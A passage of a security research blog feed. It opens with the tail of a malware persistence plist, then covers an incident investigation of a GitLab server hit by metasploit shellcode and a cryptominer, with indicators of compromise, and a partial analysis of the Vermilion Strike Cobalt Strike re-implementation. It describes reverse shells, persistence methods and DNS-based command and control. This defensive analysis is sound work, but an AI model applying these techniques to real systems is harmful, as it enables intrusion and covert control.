&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;LimitLoadToSessionType&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;Aqua&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;ProgramArguments&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;array&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;/Library/MacOsServices/updateMacOs&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/array&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;KeepAlive&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;SuccessfulExit&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;true/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;RunAtLoad&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;true/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/plist&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Conducting Digital Forensics Incident Response (DFIR) on an Infected GitLab Server</title><link>https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/</link><pubDate>Thu, 04 Nov 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/</guid><description>
&lt;h2&gt;GitLab servers are under attack with a now-patched critical vulnerability&lt;span class="hx:absolute hx:-mt-20" id="gitlab-servers-are-under-attack-with-a-now-patched-critical-vulnerability"&gt;&lt;/span&gt;
&lt;a href="#gitlab-servers-are-under-attack-with-a-now-patched-critical-vulnerability" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Earlier this week we investigated an incident that occurred on a user&amp;rsquo;s GitLab
server. After the user installed a sensor on their server, an initial runtime
scan was performed. An alert was immediately triggered on the execution of a
malicious metasploit shellcode named &lt;code&gt;gitlab.elf&lt;/code&gt;, which occurred a few days
prior to the installation of the sensor. Several hours later another alert was
triggered, this time upon the execution of an XMRig Miner. The malware was also
executed several days before the sensor was installed. We notified the user and
began our own investigation with the goal of understanding how the attacker got
into the system and what the scope of the incident was. Consistent with our
findings,
&lt;a href="https://thehackernews.com/2021/11/alert-hackers-exploiting-gitlab.html"target="_blank" rel="noopener"&gt;news broke&lt;/a&gt;
later that day that attackers were exploiting a GitLab unauthenticated remote
code execution (RCE) vulnerability. In this post we describe the investigation
process conducted by Intezer&amp;rsquo;s research and engineering teams using the runtime
security sensor installed on the victim&amp;rsquo;s host.&lt;/p&gt;
&lt;h2&gt;The Incident&lt;span class="hx:absolute hx:-mt-20" id="the-incident"&gt;&lt;/span&gt;
&lt;a href="#the-incident" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The individual was a new user who had just installed the a sensor on a CentOS
host. Immediately after the install, an initial scan was performed and the
sensor identified a running shellcode inside a container on the user&amp;rsquo;s host.
The alert presented important information about the execution of the process
including the process tree, execution path, details about the user&amp;rsquo;s host, and
the files containing malware. Using this information, we were able to get more
details about the malicious process:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The process was executed inside a container based on a
&lt;code&gt;gitlab/gitlab-ce:12.10.10-ce.0&lt;/code&gt; Docker image&lt;/li&gt;
&lt;li&gt;The path and filename of the malicious process is
&lt;code&gt;/var/opt/gitlab/gitlab-workhorse/gitlab.elf&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;EUID of the process is 998&lt;/li&gt;
&lt;li&gt;The process connected to &lt;code&gt;172.96.190[.]95:904&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The alert also
&lt;a href="https://analyze.intezer.com/files/cd54a34dbd7d345a7fd7fd8744feb5c956825317e9225edb002c3258683947f1?utm_campaign=research-blog&amp;amp;utm_content=dfir-infected-gitlab-server&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;links&lt;/a&gt;
to Intezer, which identifies the shellcode as a metasploit.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;During this time, the second alert appeared, shown below, notifying the user
that an XMRig Miner was executed inside the container. The name of the file
that contains the malware was &lt;code&gt;syslogd64&lt;/code&gt;. Using the parent process ID (PPID)
information from the alert, we were able to determine that it was executed by a
script called &lt;code&gt;okk.sh&lt;/code&gt;. The shellcode in &lt;code&gt;gitlab.elf&lt;/code&gt; provides a reverse TCP
shell that delivers &lt;code&gt;okk.sh&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We inspected the events that occurred on the victim&amp;rsquo;s host and found a curl
command executed inside the container. Shown below are Events which can be
accessed from the sensor dashboard. A curl command is seen which uses the
whoami value as part of the target&amp;rsquo;s hostname.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/images/fig1.png" title="Curl command seen under Events." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Curl command seen under Events.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We were also able to find another script called &lt;code&gt;tmp.sh&lt;/code&gt; under the Events tab.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The scripts install an XMRig Miner and implement persistence by creating a
systemd service while adding the malware to a &lt;code&gt;.profile&lt;/code&gt; file in the user&amp;rsquo;s
home folder.&lt;/li&gt;
&lt;li&gt;Another wallet ID is used in this script:
&lt;code&gt;44wrH5Y3VXn577ZJHAJwZG8pLMNQXURsGKnNfbwUNmv3fJdHcedednZSna9hbFU5ojBkF83beV5CJYnqh9jnZNNdTJ4oXor&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/images/fig2.png" title="View of tmp.sh execution event from the sensor." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;View of tmp.sh execution event from the sensor.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/images/fig3.png" title="Tmp.sh execution event." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Tmp.sh execution event.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We examined &lt;code&gt;okk.sh&lt;/code&gt; and got the following details:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The script removes previously installed cryptominers.&lt;/li&gt;
&lt;li&gt;The script tries to remove the malware that is executed in this attack but it
doesn&amp;rsquo;t seem to work.&lt;/li&gt;
&lt;li&gt;The installation command, Install XMRig miner, is copied from the pool&amp;rsquo;s
setup documentation page, shown in the image below.&lt;/li&gt;
&lt;li&gt;The wallet ID used by the attacker is
&lt;code&gt;45P62r6YsHWagiRZ6K5tGeKPy2tFFwfYvdfatsKHCC7wATRrsKqqSFySocLVtrKFzYj1RzYu2mSD9HXBofYusbfdAiSCkvM&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/images/fig4.png" title="Installation command for the cryptominer" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Installation command for the cryptominer&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The victim&amp;rsquo;s host exposed the GitLab authentication page on port 8080. We can
assume that the breach happened due to weak credentials picked up by the
attacker, or by abusing the recently discovered RCE vulnerability
(&lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2021-22205"target="_blank" rel="noopener"&gt;CVE-2021-22205&lt;/a&gt;) in GitLab.&lt;/p&gt;
&lt;h2&gt;Looking Inside the Wallets&lt;span class="hx:absolute hx:-mt-20" id="looking-inside-the-wallets"&gt;&lt;/span&gt;
&lt;a href="#looking-inside-the-wallets" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;We were able to view the status of the wallets in the pool&amp;rsquo;s dashboard. Each
wallet was using hundreds of workers at the time of this post. The images below
show details of the wallets including their hash rates and activity of the
cryptominers.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/images/fig5.png" title="Hash rates of the wallet." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hash rates of the wallet.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/11/dfir-infected-gitlab-server/images/fig6.png" title="Hash rates of the second wallet." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hash rates of the second wallet.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Threat Detection and Response&lt;span class="hx:absolute hx:-mt-20" id="threat-detection-and-response"&gt;&lt;/span&gt;
&lt;a href="#threat-detection-and-response" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Attackers are constantly searching for internet-facing instances and
applications that are vulnerable, misconfigured, or have weak credentials.
Users should always install the latest security updates, patch their systems,
avoid exposing applications to the internet when they can, and enforce
multi-factor authentication. While it&amp;rsquo;s important to implement all the right
security policies and to keep systems up to date, zero-days are bound to
happen. Runtime protection solutions come in handy for detecting when the
attacker has already compromised the environment and launched malware. This
post was a joint effort between Intezer&amp;rsquo;s research and engineering teams.
Special thanks to Adir Shemesh.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Gitlab.elf&lt;span class="hx:absolute hx:-mt-20" id="gitlabelf"&gt;&lt;/span&gt;
&lt;a href="#gitlabelf" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;cd54a34dbd7d345a7fd7fd8744feb5c956825317e9225edb002c3258683947f1&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Syslogd64&lt;span class="hx:absolute hx:-mt-20" id="syslogd64"&gt;&lt;/span&gt;
&lt;a href="#syslogd64" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;be6ac1ac095545af4a192c55b259f882933269fc7abf06f283b07487b6253ea7&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Okk.sh&lt;span class="hx:absolute hx:-mt-20" id="okksh"&gt;&lt;/span&gt;
&lt;a href="#okksh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;7d9adc0b7caebe60ab3e5709e1e6de48b6455f352afff61acf53620f9999139f&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Tmp.sh&lt;span class="hx:absolute hx:-mt-20" id="tmpsh"&gt;&lt;/span&gt;
&lt;a href="#tmpsh" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;00fc15eadd33b1055cd3f30869363c6498d2668b8f1e244e82ba1a9abff58bf1&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Wallet IDs&lt;span class="hx:absolute hx:-mt-20" id="wallet-ids"&gt;&lt;/span&gt;
&lt;a href="#wallet-ids" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;code&gt;44wrH5Y3VXn577ZJHAJwZG8pLMNQXURsGKnNfbwUNmv3fJdHcedednZSna9hbFU5ojBkF83beV5CJYnqh9jnZNNdTJ4oXor&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;45P62r6YsHWagiRZ6K5tGeKPy2tFFwfYvdfatsKHCC7wATRrsKqqSFySocLVtrKFzYj1RzYu2mSD9HXBofYusbfdAiSCkvM&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Vermilion Strike: Linux and Windows Re-implementation of Cobalt Strike</title><link>https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/</link><pubDate>Mon, 13 Sep 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/</guid><description>
&lt;h2&gt;Key Findings&lt;span class="hx:absolute hx:-mt-20" id="key-findings"&gt;&lt;/span&gt;
&lt;a href="#key-findings" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Discovered Linux &amp;amp; Windows re-implementation of Cobalt Strike Beacon written
from scratch&lt;/li&gt;
&lt;li&gt;Linux malware is fully undetected by vendors&lt;/li&gt;
&lt;li&gt;Has IoC and technical overlaps with previously discovered Windows DLL files&lt;/li&gt;
&lt;li&gt;Highly targeted with victims including telecommunications, government and
finance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="../../../2021/08/cobalt-strike-detect-this-persistent-threat"&gt;Cobalt Strike&lt;/a&gt;
is a popular red team tool for Windows which is also heavily used by threat
actors. At the time of this writing, there is no official
&lt;a href="https://blog.cobaltstrike.com/2016/03/23/linux-left-out-in-the-cold/"target="_blank" rel="noopener"&gt;Cobalt Strike version for Linux&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In August 2021, we at Intezer discovered a
&lt;a href="https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc?utm_campaign=research-blog&amp;amp;utm_content=vermilionstrike-reimplementation-cobaltstrike&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;fully undetected ELF implementation&lt;/a&gt;
of Cobalt Strike&amp;rsquo;s &lt;a href="https://www.cobaltstrike.com/help-beacon"target="_blank" rel="noopener"&gt;beacon&lt;/a&gt;, which we
named &lt;strong&gt;Vermilion Strike&lt;/strong&gt;. The stealthy sample uses Cobalt Strike&amp;rsquo;s Command
and Control (C2) protocol when communicating to the C2 server and has Remote
Access capabilities such as uploading files, running shell commands and writing
to files. The malware is fully undetected in VirusTotal at the time of this
writing and was uploaded from Malaysia.&lt;/p&gt;
&lt;p&gt;Based on telemetry with collaboration from our partners at McAfee Enterprise
ATR, this Linux threat has been active in the wild since August targeting
telecom companies, government agencies, IT companies, financial institutions
and advisory companies around the world. Targeting has been limited in scope,
suggesting that this malware is used in specific attacks rather than mass
spreading.&lt;/p&gt;
&lt;p&gt;After further analysis, we found Windows samples that use the same C2. The
samples are re-implementations of Cobalt Strike Beacon. The Windows and ELF
samples share the same functionalities.&lt;/p&gt;
&lt;p&gt;The sophistication of this threat, its intent to conduct espionage, and the
fact that the code hasn&amp;rsquo;t been seen before in other attacks, together with the
fact that it targets specific entities in the wild, leads us to believe that
this threat was developed by a skilled threat actor.&lt;/p&gt;
&lt;p&gt;In this post we will provide a technical analysis of the samples and explain
how you can detect and respond to this threat.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Linux File&lt;span class="hx:absolute hx:-mt-20" id="linux-file"&gt;&lt;/span&gt;
&lt;a href="#linux-file" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The file was uploaded to VirusTotal from Malaysia and has no detections in
VirusTotal at the time of this writing.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig1.png" title="294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc in VirusTotal" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc in VirusTotal&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig2.png" title="Vermilion Strike analysis in Intezer: https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Vermilion Strike analysis in Intezer: https://analyze.intezer.com/files/294b8db1f2702b60fb2e42fdc50c2cee6a5046112da9a5703a548a4fa50477bc&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The file shares strings with previously seen Cobalt Strike samples and triggers
a number of YARA rules that detect encoded Cobalt Strike configurations. The
ELF file is built on a Red Hat Linux distribution. It uses OpenSSL via dynamic
linking. The shared object names for OpenSSL on Red Hat-based distributions are
different from other Linux distributions. Because of this, it can only run on
machines with Linux distribution based on Red Hat&amp;rsquo;s code base.&lt;/p&gt;
&lt;h3&gt;Initialization&lt;span class="hx:absolute hx:-mt-20" id="initialization"&gt;&lt;/span&gt;
&lt;a href="#initialization" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The sample starts by forcing itself to run in the background using &lt;code&gt;daemon&lt;/code&gt;. It
will decrypt the configuration, using the XOR key &lt;code&gt;0x69&lt;/code&gt;, shown in the
screenshot below. The key &lt;code&gt;0x69&lt;/code&gt; is a common value used by Cobalt Strike&amp;rsquo;s
encrypted configuration too. Vermilion Strike&amp;rsquo;s configuration format is the
same as Cobalt Strike. Tools used for extracting Cobalt Strike configurations
can also be used to extract Vermilion Strike configuration. The Windows
components of the configuration are ignored for this Linux version.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig3.png" title="Decoded configuration of the beacon" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decoded configuration of the beacon&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Further decryption is performed in a heap with decoded strings, keys, and
values required by the beacon for its operation. The beacon will then generate
a SHA256 hash sourced from a random number seeded from the thread ID. This
value will be used later in DNS beaconing. Next, a public RSA key will be
imported for later use.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig4.png" title="Importing of public RSA key to encrypt machine fingerprint" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Importing of public RSA key to encrypt machine fingerprint&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The beacon will begin fingerprinting the machine. A random number will be
generated and the process ID will be fetched. It will grab the kernel version
of the machine using &lt;code&gt;uname&lt;/code&gt;. Next, the beacon will fingerprint network
information through the &lt;code&gt;getifaddrs&lt;/code&gt; function. It will loop through the
interfaces looking for IPv4 addresses. It will gather the interface with an
address not equal to &lt;code&gt;127.0.0.1&lt;/code&gt; and stage the IPv4 address.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig5.png" title="Network interface fingerprinting" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Network interface fingerprinting&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Next, the beacon will fingerprint the entry in the local password database for
information about the current effective user ID of the process.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig6.png" title="Fingerprinting of local password database" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Fingerprinting of local password database&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The beacon will then fingerprint the hostname of the machine. The collected
information will be formatted into a string, encrypted with the public RSA key,
and base64 encoded, as is standard for communication with a Cobalt Strike
server. The stages are shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig7.png" title="Stages of formatting the machine fingerprint" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Stages of formatting the machine fingerprint&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Prepended to the fingerprint string is the value &lt;code&gt;1.0.1.LR&lt;/code&gt;. This appears to be
an internal version string. A similar string, &lt;code&gt;W1.0.1&lt;/code&gt;, was found in a newly
discovered Windows sample of Vermilion Strike that shares the same C2 and
malware functionality.&lt;/p&gt;
&lt;p&gt;The encrypted data is sent to the C2 server in a similar way that the metadata
is sent from a Cobalt Strike beacon to the C2 server. The payload that is
encrypted starts with the marker &lt;code&gt;0xbeef&lt;/code&gt;. The same marker is used by the
legitimate Cobalt Strike beacon.&lt;/p&gt;
&lt;h3&gt;Command and Control&lt;span class="hx:absolute hx:-mt-20" id="command-and-control"&gt;&lt;/span&gt;
&lt;a href="#command-and-control" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Command and Control is primarily performed over DNS but also available over
HTTP. This DNS-based approach for communications can help avoid traditional
defenses that monitor HTTP traffic. Commands are received via DNS Address (A)
and Text (TXT) records. The beacon first makes DNS requests out to hardcoded
subdomains and gets an IP address returned. Normally, DNS requests on hostnames
are intended to be translated into an IP address for which to visit. In this
case, the IP address returned is not used as an IP address but for triggers to
change the beacon behavior.&lt;/p&gt;
&lt;p&gt;Once the beacon gets the signal to download a task, it will perform a DNS TXT
query to the domain&amp;rsquo;s nameservers, as shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig8.png" title="Packet capture of C2 communication" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packet capture of C2 communication&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The result of the TXT query is a base64 encoded and AES encrypted struct
containing task information. An example of a returned task is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig9.png" title="A DNS TXT query result for a task" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;A DNS TXT query result for a task&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A decrypted task is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig10.png" title="Decrypted command" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Decrypted command&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Tasks that the beacon can perform are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change working directory&lt;/li&gt;
&lt;li&gt;Get current working directory&lt;/li&gt;
&lt;li&gt;Append/write to file&lt;/li&gt;
&lt;li&gt;Upload file to C2&lt;/li&gt;
&lt;li&gt;Execute command via &lt;code&gt;popen&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Get disk partitions&lt;/li&gt;
&lt;li&gt;List files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The malware uses a separate thread to execute the tasks. The tasks are
scheduled as jobs via a semaphore to ensure not too many jobs are executed at
once. Vermilion Strike has a third way of communicating with the C2 server via
ICMP ping messages. The malware adds the current pid to the offset &lt;code&gt;0x4&lt;/code&gt; in the
header and the encrypted payload is sent as data in the ICMP packet. The data
size for an ICMP packet is limited to 65,507 bytes but the malware uses a size
limit of 64,000 bytes for the payload. The code for sending and processing ICMP
messages exists in the malware but the code for enabling it via the
configuration is not present. This means it has the capability but can&amp;rsquo;t be
configured to use it. This suggests it may be a new feature that hasn&amp;rsquo;t been
fully developed yet.&lt;/p&gt;
&lt;h3&gt;Links to Windows Files&lt;span class="hx:absolute hx:-mt-20" id="links-to-windows-files"&gt;&lt;/span&gt;
&lt;a href="#links-to-windows-files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When investigating this Linux file, we discovered related Windows samples. The
first sample we noticed was:
&lt;code&gt;3ad119d4f2f1d8ce3851181120a292f41189e4417ad20a6c86b6f45f6a9fbcfc&lt;/code&gt;. This is a
32-bit EXE sample that shares a C2 IP address (&lt;code&gt;160.202.163[.]100&lt;/code&gt;). This is a
stager that will fetch a DLL from the C2 over HTTP and execute it in-memory.&lt;/p&gt;
&lt;p&gt;An example of the next stage DLL is
&lt;code&gt;7129434afc1fec276525acfeee5bb08923ccd9b32269638a54c7b452f5493492&lt;/code&gt;. This
sample, first noticed in 2019 by
&lt;a href="https://twitter.com/silascutler/status/1153696870499119104"target="_blank" rel="noopener"&gt;Silas Cutler&lt;/a&gt;, is
the Windows DLL equivalent of the ELF file. The functionality is almost exactly
the same, except for the Windows environment. A side-by-side comparison of the
configuration decoding function for the ELF and DLL beacons is shown below.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/images/fig11.png" title="Configuration decryption function comparison" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Configuration decryption function comparison&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The DLL has the same domains as the ELF for C2, as well as an additional
configured domain &lt;code&gt;amazon.hksupd[.]com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Using the stager we managed to get a new payload from the server
